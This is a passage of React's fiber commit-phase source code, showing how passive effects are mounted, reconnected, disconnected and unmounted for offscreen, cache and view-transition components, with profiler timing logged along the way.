finishedWork.memoizedState;\n\n      const isHidden = nextState !== null;\n\n      if (isHidden) {\n        if (\n          isViewTransitionEligible &&\n          current !== null &&\n          current.memoizedState === null\n        ) {\n          // Content is now hidden but wasn't before. This means we could've\n          // triggered an exit animation on the content. Restore the view\n          // transitions if there were any assigned in the snapshot phase.\n          restoreEnterOrExitViewTransitions(current);\n        }\n        if (instance._visibility & OffscreenPassiveEffectsConnected) {\n          // The effects are currently connected. Update them.\n          recursivelyTraversePassiveMountEffects(\n            finishedRoot,\n            finishedWork,\n            committedLanes,\n            committedTransitions,\n            endTime,\n          );\n        } else {\n          if (disableLegacyMode || finishedWork.mode & ConcurrentMode) {\n            // The effects are currently disconnected. Since the tree is hidden,\n            // don't connect them. This also applies to the initial render.\n            // \"Atomic\" effects are ones that need to fire on every commit,\n            // even during pre-rendering. An example is updating the reference\n            // count on cache instances.\n            recursivelyTraverseAtomicPassiveEffects(\n              finishedRoot,\n              finishedWork,\n              committedLanes,\n              committedTransitions,\n              endTime,\n            );\n          } else {\n            // Legacy Mode: Fire the effects even if the tree is hidden.\n            instance._visibility |= OffscreenPassiveEffectsConnected;\n            recursivelyTraversePassiveMountEffects(\n              finishedRoot,\n              finishedWork,\n              committedLanes,\n              committedTransitions,\n              endTime,\n            );\n          }\n        }\n      } else {\n        // Tree is visible\n        if (\n          isViewTransitionEligible &&\n          current !== null &&\n          current.memoizedState !== null\n        ) {\n          // Content is now visible but wasn't before. This means we could've\n          // triggered an enter animation on the content. Restore the view\n          // transitions if there were any assigned in the snapshot phase.\n          restoreEnterOrExitViewTransitions(finishedWork);\n        }\n        if (instance._visibility & OffscreenPassiveEffectsConnected) {\n          // The effects are currently connected. Update them.\n          recursivelyTraversePassiveMountEffects(\n            finishedRoot,\n            finishedWork,\n            committedLanes,\n            committedTransitions,\n            endTime,\n          );\n        } else {\n          // The effects are currently disconnected. Reconnect them, while also\n          // firing effects inside newly mounted trees. This also applies to\n          // the initial render.\n          instance._visibility |= OffscreenPassiveEffectsConnected;\n\n          const includeWorkInProgressEffects =\n            (finishedWork.subtreeFlags & PassiveMask) !== NoFlags ||\n            (enableProfilerTimer &&\n              enableComponentPerformanceTrack &&\n              finishedWork.actualDuration !== 0 &&\n              (finishedWork.alternate === null ||\n                finishedWork.alternate.child !== finishedWork.child));\n          recursivelyTraverseReconnectPassiveEffects(\n            finishedRoot,\n            finishedWork,\n            committedLanes,\n            committedTransitions,\n            includeWorkInProgressEffects,\n            endTime,\n          );\n\n          if (\n            enableProfilerTimer &&\n            enableProfilerCommitHooks &&\n            enableComponentPerformanceTrack &&\n            (finishedWork.mode & ProfileMode) !== NoMode &&\n            !inHydratedSubtree\n          ) {\n            // Log the reappear in the render phase.\n            const startTime = ((finishedWork.actualStartTime: any): number);\n            if (startTime >= 0 && endTime - startTime > 0.05) {\n              logComponentReappeared(finishedWork, startTime, endTime);\n            }\n            if (\n              componentEffectStartTime >= 0 &&\n              componentEffectEndTime >= 0 &&\n              componentEffectEndTime - componentEffectStartTime > 0.05\n            ) {\n              logComponentReappeared(\n                finishedWork,\n                componentEffectStartTime,\n                componentEffectEndTime,\n              );\n            }\n          }\n        }\n      }\n\n      if (flags & Passive) {\n        commitOffscreenPassiveMountEffects(current, finishedWork, instance);\n      }\n      break;\n    }\n    case CacheComponent: {\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      if (flags & Passive) {\n        // TODO: Pass `current` as argument to this function\n        const current = finishedWork.alternate;\n        commitCachePassiveMountEffect(current, finishedWork);\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if (isViewTransitionEligible) {\n          const current = finishedWork.alternate;\n          if (current === null) {\n            // This is a new mount. We should have handled this as part of the\n            // Placement effect or it is deeper inside a entering transition.\n          } else {\n            // Something mutated within this subtree. This might have caused\n            // something to cross-fade if we didn't already cancel it.\n            // If not, restore it.\n            restoreUpdateViewTransition(current, finishedWork);\n          }\n        }\n        recursivelyTraversePassiveMountEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n        break;\n      }\n      // Fallthrough\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        recursivelyTraversePassiveMountEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n        if (flags & Passive) {\n          commitTracingMarkerPassiveMountEffect(finishedWork);\n        }\n        break;\n      }\n      // Intentional fallthrough to next branch\n    }\n    default: {\n      recursivelyTraversePassiveMountEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode\n  ) {\n    const isMount =\n      !inHydratedSubtree &&\n      finishedWork.alternate === null &&\n      finishedWork.return !== null &&\n      finishedWork.return.alternate !== null;\n    if (isMount) {\n      // Log the mount in the render phase.\n      const startTime = ((finishedWork.actualStartTime: any): number);\n      if (startTime >= 0 && endTime - startTime > 0.05) {\n        logComponentMount(finishedWork, startTime, endTime);\n      }\n    }\n    if (componentEffectStartTime >= 0 && componentEffectEndTime >= 0) {\n      if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {\n        logComponentEffect(\n          finishedWork,\n          componentEffectStartTime,\n          componentEffectEndTime,\n          componentEffectDuration,\n          componentEffectErrors,\n        );\n      }\n      if (isMount && componentEffectEndTime - componentEffectStartTime > 0.05) {\n        logComponentMount(\n          finishedWork,\n          componentEffectStartTime,\n          componentEffectEndTime,\n        );\n      }\n    }\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n  popDeepEquality(prevDeepEquality);\n}\n\nfunction recursivelyTraverseReconnectPassiveEffects(\n  finishedRoot: FiberRoot,\n  parentFiber: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  includeWorkInProgressEffects: boolean,\n  endTime: number,\n) {\n  // This function visits both newly finished work and nodes that were re-used\n  // from a previously committed tree. We cannot check non-static flags if the\n  // node was reused.\n  const childShouldIncludeWorkInProgressEffects =\n    includeWorkInProgressEffects &&\n    ((parentFiber.subtreeFlags & PassiveMask) !== NoFlags ||\n      (enableProfilerTimer &&\n        enableComponentPerformanceTrack &&\n        parentFiber.actualDuration !== 0 &&\n        (parentFiber.alternate === null ||\n          parentFiber.alternate.child !== parentFiber.child)));\n\n  // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)\n  let child = parentFiber.child;\n  while (child !== null) {\n    if (enableProfilerTimer && enableComponentPerformanceTrack) {\n      const nextSibling = child.sibling;\n      reconnectPassiveEffects(\n        finishedRoot,\n        child,\n        committedLanes,\n        committedTransitions,\n        childShouldIncludeWorkInProgressEffects,\n        nextSibling !== null\n          ? ((nextSibling.actualStartTime: any): number)\n          : endTime,\n      );\n      child = nextSibling;\n    } else {\n      reconnectPassiveEffects(\n        finishedRoot,\n        child,\n        committedLanes,\n        committedTransitions,\n        childShouldIncludeWorkInProgressEffects,\n        endTime,\n      );\n      child = child.sibling;\n    }\n  }\n}\n\nexport function reconnectPassiveEffects(\n  finishedRoot: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  // This function visits both newly finished work and nodes that were re-used\n  // from a previously committed tree. We cannot check non-static flags if the\n  // node was reused.\n  includeWorkInProgressEffects: boolean,\n  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.\n) {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  const prevDeepEquality = pushDeepEquality();\n\n  // If this component rendered in Profiling mode (DEV or in Profiler component) then log its\n  // render time. We do this after the fact in the passive effect to avoid the overhead of this\n  // getting in the way of the render characteristics and avoid the overhead of unwinding\n  // uncommitted renders.\n  if (\n    enableProfilerTimer &&\n    enableComponentPerformanceTrack &&\n    includeWorkInProgressEffects &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    ((finishedWork.actualStartTime: any): number) > 0 &&\n    (finishedWork.flags & PerformedWork) !== NoFlags\n  ) {\n    logComponentRender(\n      finishedWork,\n      ((finishedWork.actualStartTime: any): number),\n      endTime,\n      inHydratedSubtree,\n      committedLanes,\n    );\n  }\n\n  const flags = finishedWork.flags;\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      recursivelyTraverseReconnectPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        includeWorkInProgressEffects,\n        endTime,\n      );\n      // TODO: Check for PassiveStatic flag\n      commitHookPassiveMountEffects(finishedWork, HookPassive);\n      break;\n    }\n    // Unlike commitPassiveMountOnFiber, we don't need to handle HostRoot\n    // because this function only visits nodes that are inside an\n    // Offscreen fiber.\n    // case HostRoot: {\n    //  ...\n    // }\n    case LegacyHiddenComponent: {\n      if (enableLegacyHidden) {\n        recursivelyTraverseReconnectPassiveEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          includeWorkInProgressEffects,\n          endTime,\n        );\n\n        if (includeWorkInProgressEffects && flags & Passive) {\n          // TODO: Pass `current` as argument to this function\n          const current: Fiber | null = finishedWork.alternate;\n          const instance: OffscreenInstance = finishedWork.stateNode;\n          commitOffscreenPassiveMountEffects(current, finishedWork, instance);\n        }\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const instance: OffscreenInstance = finishedWork.stateNode;\n      const nextState: OffscreenState | null = finishedWork.memoizedState;\n\n      const isHidden = nextState !== null;\n\n      if (isHidden) {\n        if (instance._visibility & OffscreenPassiveEffectsConnected) {\n          // The effects are currently connected. Update them.\n          recursivelyTraverseReconnectPassiveEffects(\n            finishedRoot,\n            finishedWork,\n            committedLanes,\n            committedTransitions,\n            includeWorkInProgressEffects,\n            endTime,\n          );\n        } else {\n          if (disableLegacyMode || finishedWork.mode & ConcurrentMode) {\n            // The effects are currently disconnected. Since the tree is hidden,\n            // don't connect them. This also applies to the initial render.\n            // \"Atomic\" effects are ones that need to fire on every commit,\n            // even during pre-rendering. An example is updating the reference\n            // count on cache instances.\n            recursivelyTraverseAtomicPassiveEffects(\n              finishedRoot,\n              finishedWork,\n              committedLanes,\n              committedTransitions,\n              endTime,\n            );\n          } else {\n            // Legacy Mode: Fire the effects even if the tree is hidden.\n            instance._visibility |= OffscreenPassiveEffectsConnected;\n            recursivelyTraverseReconnectPassiveEffects(\n              finishedRoot,\n              finishedWork,\n              committedLanes,\n              committedTransitions,\n              includeWorkInProgressEffects,\n              endTime,\n            );\n          }\n        }\n      } else {\n        // Tree is visible\n\n        // Since we're already inside a reconnecting tree, it doesn't matter\n        // whether the effects are currently connected. In either case, we'll\n        // continue traversing the tree and firing all the effects.\n        //\n        // We do need to set the \"connected\" flag on the instance, though.\n        instance._visibility |= OffscreenPassiveEffectsConnected;\n\n        recursivelyTraverseReconnectPassiveEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          includeWorkInProgressEffects,\n          endTime,\n        );\n      }\n\n      if (includeWorkInProgressEffects && flags & Passive) {\n        // TODO: Pass `current` as argument to this function\n        const current: Fiber | null = finishedWork.alternate;\n        commitOffscreenPassiveMountEffects(current, finishedWork, instance);\n      }\n      break;\n    }\n    case CacheComponent: {\n      recursivelyTraverseReconnectPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        includeWorkInProgressEffects,\n        endTime,\n      );\n      if (includeWorkInProgressEffects && flags & Passive) {\n        // TODO: Pass `current` as argument to this function\n        const current = finishedWork.alternate;\n        commitCachePassiveMountEffect(current, finishedWork);\n      }\n      break;\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        recursivelyTraverseReconnectPassiveEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n          committedTransitions,\n          includeWorkInProgressEffects,\n          endTime,\n        );\n        if (includeWorkInProgressEffects && flags & Passive) {\n          commitTracingMarkerPassiveMountEffect(finishedWork);\n        }\n        break;\n      }\n      // Intentional fallthrough to next branch\n    }\n    default: {\n      recursivelyTraverseReconnectPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        includeWorkInProgressEffects,\n        endTime,\n      );\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      finishedWork,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectErrors(prevEffectErrors);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n  popDeepEquality(prevDeepEquality);\n}\n\nfunction recursivelyTraverseAtomicPassiveEffects(\n  finishedRoot: FiberRoot,\n  parentFiber: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.\n) {\n  // \"Atomic\" effects are ones that need to fire on every commit, even during\n  // pre-rendering. We call this function when traversing a hidden tree whose\n  // regular effects are currently disconnected.\n  // TODO: Add special flag for atomic effects\n  if (\n    parentFiber.subtreeFlags & PassiveMask ||\n    (enableProfilerTimer &&\n      enableComponentPerformanceTrack &&\n      parentFiber.actualDuration !== 0 &&\n      (parentFiber.alternate === null ||\n        parentFiber.alternate.child !== parentFiber.child))\n  ) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        const nextSibling = child.sibling;\n        commitAtomicPassiveEffects(\n          finishedRoot,\n          child,\n          committedLanes,\n          committedTransitions,\n          nextSibling !== null\n            ? ((nextSibling.actualStartTime: any): number)\n            : endTime,\n        );\n        child = nextSibling;\n      } else {\n        commitAtomicPassiveEffects(\n          finishedRoot,\n          child,\n          committedLanes,\n          committedTransitions,\n          endTime,\n        );\n        child = child.sibling;\n      }\n    }\n  }\n}\n\nfunction commitAtomicPassiveEffects(\n  finishedRoot: FiberRoot,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n  committedTransitions: Array<Transition> | null,\n  endTime: number, // Profiling-only. The start time of the next Fiber or root completion.\n) {\n  const prevDeepEquality = pushDeepEquality();\n\n  // If this component rendered in Profiling mode (DEV or in Profiler component) then log its\n  // render time. A render can happen even if the subtree is offscreen.\n  if (\n    enableProfilerTimer &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    ((finishedWork.actualStartTime: any): number) > 0 &&\n    (finishedWork.flags & PerformedWork) !== NoFlags\n  ) {\n    logComponentRender(\n      finishedWork,\n      ((finishedWork.actualStartTime: any): number),\n      endTime,\n      inHydratedSubtree,\n      committedLanes,\n    );\n  }\n\n  // \"Atomic\" effects are ones that need to fire on every commit, even during\n  // pre-rendering. We call this function when traversing a hidden tree whose\n  // regular effects are currently disconnected.\n  const flags = finishedWork.flags;\n  switch (finishedWork.tag) {\n    case OffscreenComponent: {\n      recursivelyTraverseAtomicPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      if (flags & Passive) {\n        // TODO: Pass `current` as argument to this function\n        const current = finishedWork.alternate;\n        const instance: OffscreenInstance = finishedWork.stateNode;\n        commitOffscreenPassiveMountEffects(current, finishedWork, instance);\n      }\n      break;\n    }\n    case CacheComponent: {\n      recursivelyTraverseAtomicPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      if (flags & Passive) {\n        // TODO: Pass `current` as argument to this function\n        const current = finishedWork.alternate;\n        commitCachePassiveMountEffect(current, finishedWork);\n      }\n      break;\n    }\n    default: {\n      recursivelyTraverseAtomicPassiveEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n        committedTransitions,\n        endTime,\n      );\n      break;\n    }\n  }\n\n  popDeepEquality(prevDeepEquality);\n}\n\nexport function commitPassiveUnmountEffects(finishedWork: Fiber): void {\n  resetComponentEffectTimers();\n  commitPassiveUnmountOnFiber(finishedWork);\n}\n\n// If we're inside a brand new tree, or a tree that was already visible, then we\n// should only suspend host components that have a ShouldSuspendCommit flag.\n// Components without it haven't changed since the last commit, so we can skip\n// over those.\n//\n// When we enter a tree that is being revealed (going from hidden -> visible),\n// we need to suspend _any_ component that _may_ suspend. Even if they're\n// already in the \"current\" tree. Because their visibility has changed, the\n// browser may not have prerendered them yet. So we check the MaySuspendCommit\n// flag instead.\n//\n// Note that MaySuspendCommit and ShouldSuspendCommit also includes named\n// ViewTransitions so that we know to also visit those to collect appearing\n// pairs.\nlet suspenseyCommitFlag: Flags = ShouldSuspendCommit;\nexport function accumulateSuspenseyCommit(\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n  suspendedState: SuspendedState,\n): void {\n  resetAppearingViewTransitions();\n  accumulateSuspenseyCommitOnFiber(\n    finishedWork,\n    committedLanes,\n    suspendedState,\n  );\n}\n\nfunction recursivelyAccumulateSuspenseyCommit(\n  parentFiber: Fiber,\n  committedLanes: Lanes,\n  suspendedState: SuspendedState,\n): void {\n  if (parentFiber.subtreeFlags & suspenseyCommitFlag) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      accumulateSuspenseyCommitOnFiber(child, committedLanes, suspendedState);\n      child = child.sibling;\n    }\n  }\n}\n\nfunction accumulateSuspenseyCommitOnFiber(\n  fiber: Fiber,\n  committedLanes: Lanes,\n  suspendedState: SuspendedState,\n) {\n  switch (fiber.tag) {\n    case HostHoistable: {\n      recursivelyAccumulateSuspenseyCommit(\n        fiber,\n        committedLanes,\n        suspendedState,\n      );\n      if (fiber.flags & suspenseyCommitFlag) {\n        if (fiber.memoizedState !== null) {\n          suspendResource(\n            suspendedState,\n            // This should always be set by visiting HostRoot first\n            (currentHoistableRoot: any),\n            fiber.memoizedState,\n            fiber.memoizedProps,\n          );\n        } else {\n          const instance = fiber.stateNode;\n          const type = fiber.type;\n          const props = fiber.memoizedProps;\n          // TODO: Allow sync lanes to suspend too with an opt-in.\n          if (\n            includesOnlySuspenseyCommitEligibleLanes(committedLanes) ||\n            maySuspendCommitInSyncRender(type, props)\n          ) {\n            suspendInstance(suspendedState, instance, type, props);\n          }\n        }\n      }\n      break;\n    }\n    case HostComponent: {\n      recursivelyAccumulateSuspenseyCommit(\n        fiber,\n        committedLanes,\n        suspendedState,\n      );\n      if (fiber.flags & suspenseyCommitFlag) {\n        const instance = fiber.stateNode;\n        const type = fiber.type;\n        const props = fiber.memoizedProps;\n        // TODO: Allow sync lanes to suspend too with an opt-in.\n        if (\n          includesOnlySuspenseyCommitEligibleLanes(committedLanes) ||\n          maySuspendCommitInSyncRender(type, props)\n        ) {\n          suspendInstance(suspendedState, instance, type, props);\n        }\n      }\n      break;\n    }\n    case HostRoot:\n    case HostPortal: {\n      if (supportsResources) {\n        const previousHoistableRoot = currentHoistableRoot;\n        const container: Container = fiber.stateNode.containerInfo;\n        currentHoistableRoot = getHoistableRoot(container);\n\n        recursivelyAccumulateSuspenseyCommit(\n          fiber,\n          committedLanes,\n          suspendedState,\n        );\n        currentHoistableRoot = previousHoistableRoot;\n      } else {\n        recursivelyAccumulateSuspenseyCommit(\n          fiber,\n          committedLanes,\n          suspendedState,\n        );\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const isHidden = (fiber.memoizedState: OffscreenState | null) !== null;\n      if (isHidden) {\n        // Don't suspend in hidden trees\n      } else {\n        const current = fiber.alternate;\n        const wasHidden =\n          current !== null &&\n          (current.memoizedState: OffscreenState | null) !== null;\n        if (wasHidden) {\n          // This tree is being revealed. Visit all newly visible suspensey\n          // instances, even if they're in the current tree.\n          const prevFlags = suspenseyCommitFlag;\n          suspenseyCommitFlag = MaySuspendCommit;\n          recursivelyAccumulateSuspenseyCommit(\n            fiber,\n            committedLanes,\n            suspendedState,\n          );\n          suspenseyCommitFlag = prevFlags;\n        } else {\n          recursivelyAccumulateSuspenseyCommit(\n            fiber,\n            committedLanes,\n            suspendedState,\n          );\n        }\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        if ((fiber.flags & suspenseyCommitFlag) !== NoFlags) {\n          const props: ViewTransitionProps = fiber.memoizedProps;\n          const name: ?string | 'auto' = props.name;\n          if (name != null && name !== 'auto') {\n            // This is a named ViewTransition being mounted or reappearing. Let's add it to\n            // the map so we can match it with deletions later.\n            const state: ViewTransitionState = fiber.stateNode;\n            // Reset the pair in case we didn't end up restoring the instance in previous commits.\n            // This shouldn't really happen anymore but just in case. We could maybe add an invariant.\n            state.paired = null;\n            trackAppearingViewTransition(name, state);\n          }\n        }\n        recursivelyAccumulateSuspenseyCommit(\n          fiber,\n          committedLanes,\n          suspendedState,\n        );\n        break;\n      }\n      // Fallthrough\n    }\n    default: {\n      recursivelyAccumulateSuspenseyCommit(\n        fiber,\n        committedLanes,\n        suspendedState,\n      );\n    }\n  }\n}\n\nfunction detachAlternateSiblings(parentFiber: Fiber) {\n  // A fiber was deleted from this parent fiber, but it's still part of the\n  // previous (alternate) parent fiber's list of children. Because children\n  // are a linked list, an earlier sibling that's still alive will be\n  // connected to the deleted fiber via its `alternate`:\n  //\n  //   live fiber --alternate--> previous live fiber --sibling--> deleted\n  //   fiber\n  //\n  // We can't disconnect `alternate` on nodes that haven't been deleted yet,\n  // but we can disconnect the `sibling` and `child` pointers.\n\n  const previousFiber = parentFiber.alternate;\n  if (previousFiber !== null) {\n    let detachedChild = previousFiber.child;\n    if (detachedChild !== null) {\n      previousFiber.child = null;\n      do {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        const detachedSibling = detachedChild.sibling;\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        detachedChild.sibling = null;\n        detachedChild = detachedSibling;\n      } while (detachedChild !== null);\n    }\n  }\n}\n\nfunction recursivelyTraversePassiveUnmountEffects(parentFiber: Fiber): void {\n  // Deletions effects can be scheduled on any fiber type. They need to happen\n  // before the children effects have fired.\n  const deletions = parentFiber.deletions;\n\n  if ((parentFiber.flags & ChildDeletion) !== NoFlags) {\n    if (deletions !== null) {\n      for (let i = 0; i < deletions.length; i++) {\n        const childToDelete = deletions[i];\n        const prevEffectStart = pushComponentEffectStart();\n        // TODO: Convert this to use recursion\n        nextEffect = childToDelete;\n        commitPassiveUnmountEffectsInsideOfDeletedTree_begin(\n          childToDelete,\n          parentFiber,\n        );\n        if (\n          enableProfilerTimer &&\n          enableProfilerCommitHooks &&\n          enableComponentPerformanceTrack &&\n          (childToDelete.mode & ProfileMode) !== NoMode &&\n          componentEffectStartTime >= 0 &&\n          componentEffectEndTime >= 0 &&\n          componentEffectEndTime - componentEffectStartTime > 0.05\n        ) {\n          logComponentUnmount(\n            childToDelete,\n            componentEffectStartTime,\n            componentEffectEndTime,\n          );\n        }\n        popComponentEffectStart(prevEffectStart);\n      }\n    }\n    detachAlternateSiblings(parentFiber);\n  }\n\n  // TODO: Split PassiveMask into separate masks for mount and unmount?\n  if (parentFiber.subtreeFlags & PassiveMask) {\n    let child = parentFiber.child;\n    while (child !== null) {\n      commitPassiveUnmountOnFiber(child);\n      child = child.sibling;\n    }\n  }\n}\n\nfunction commitPassiveUnmountOnFiber(finishedWork: Fiber): void {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      recursivelyTraversePassiveUnmountEffects(finishedWork);\n      if (finishedWork.flags & Passive) {\n        commitHookPassiveUnmountEffects(\n          finishedWork,\n          finishedWork.return,\n          HookPassive | HookHasEffect,\n        );\n      }\n      break;\n    }\n    case HostRoot: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n      recursivelyTraversePassiveUnmountEffects(finishedWork);\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        const finishedRoot: FiberRoot = finishedWork.stateNode;\n        finishedRoot.passiveEffectDuration += popNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n      break;\n    }\n    case Profiler: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n      recursivelyTraversePassiveUnmountEffects(finishedWork);\n\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        const profilerInstance = finishedWork.stateNode;\n        // Propagate layout effect durations to the next nearest Profiler ancestor.\n        // Do not reset these values until the next render so DevTools has a chance to read them first.\n        profilerInstance.passiveEffectDuration += bubbleNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n      break;\n    }\n    case OffscreenComponent: {\n      const instance: OffscreenInstance = finishedWork.stateNode;\n      const nextState: OffscreenState | null = finishedWork.memoizedState;\n\n      const isHidden = nextState !== null;\n\n      if (\n        isHidden &&\n        instance._visibility & OffscreenPassiveEffectsConnected &&\n        // For backwards compatibility, don't unmount when a tree suspends. In\n        // the future we may change this to unmount after a delay.\n        (finishedWork.return === null ||\n          finishedWork.return.tag !== SuspenseComponent)\n      ) {\n        // The effects are currently connected. Disconnect them.\n        // TODO: Add option or heuristic to delay before disconnecting the\n        // effects. Then if the tree reappears before the delay has elapsed, we\n        // can skip toggling the effects entirely.\n        instance._visibility &= ~OffscreenPassiveEffectsConnected;\n\n        recursivelyTraverseDisconnectPassiveEffects(finishedWork);\n\n        if (\n          enableProfilerTimer &&\n          enableProfilerCommitHooks &&\n          enableComponentPerformanceTrack &&\n          (finishedWork.mode & ProfileMode) !== NoMode &&\n          componentEffectStartTime >= 0 &&\n          componentEffectEndTime >= 0 &&\n          componentEffectEndTime - componentEffectStartTime > 0.05\n        ) {\n          logComponentDisappeared(\n            finishedWork,\n            componentEffectStartTime,\n            componentEffectEndTime,\n          );\n        }\n      } else {\n        recursivelyTraversePassiveUnmountEffects(finishedWork);\n      }\n\n      break;\n    }\n    default: {\n      recursivelyTraversePassiveUnmountEffects(finishedWork);\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      finishedWork,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n  popComponentEffectErrors(prevEffectErrors);\n}\n\nfunction recursivelyTraverseDisconnectPassiveEffects(parentFiber: Fiber): void {\n  // Deletions effects can be scheduled on any fiber type. They need to happen\n  // before the children effects have fired.\n  const deletions = parentFiber.deletions;\n\n  if ((parentFiber.flags & ChildDeletion) !== NoFlags) {\n    if (deletions !== null) {\n      for (let i = 0; i < deletions.length; i++) {\n        const childToDelete = deletions[i];\n        const prevEffectStart = pushComponentEffectStart();\n\n        // TODO: Convert this to use recursion\n        nextEffect = childToDelete;\n        commitPassiveUnmountEffectsInsideOfDeletedTree_begin(\n          childToDelete,\n          parentFiber,\n        );\n\n        if (\n          enableProfilerTimer &&\n          enableProfilerCommitHooks &&\n          enableComponentPerformanceTrack &&\n          (childToDelete.mode & ProfileMode) !== NoMode &&\n          componentEffectStartTime >= 0 &&\n          componentEffectEndTime >= 0 &&\n          componentEffectEndTime - componentEffectStartTime > 0.05\n        ) {\n          // While this is inside the disconnect path. This is a deletion within the\n          // disconnected tree. We currently log this for deletions in the mutation\n          // phase since it's shared by the disappear path.\n          logComponentUnmount(\n            childToDelete,\n            componentEffectStartTime,\n            componentEffectEndTime,\n          );\n        }\n        popComponentEffectStart(prevEffectStart);\n      }\n    }\n    detachAlternateSiblings(parentFiber);\n  }\n\n  // TODO: Check PassiveStatic flag\n  let child = parentFiber.child;\n  while (child !== null) {\n    disconnectPassiveEffect(child);\n    child = child.sibling;\n  }\n}\n\nexport function disconnectPassiveEffect(finishedWork: Fiber): void {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      // TODO: Check PassiveStatic flag\n      commitHookPassiveUnmountEffects(\n        finishedWork,\n        finishedWork.return,\n        HookPassive,\n      );\n      // When disconnecting passive effects, we fire the effects in the same\n      // order as during a deletiong: parent before child\n      recursivelyTraverseDisconnectPassiveEffects(finishedWork);\n      break;\n    }\n    case 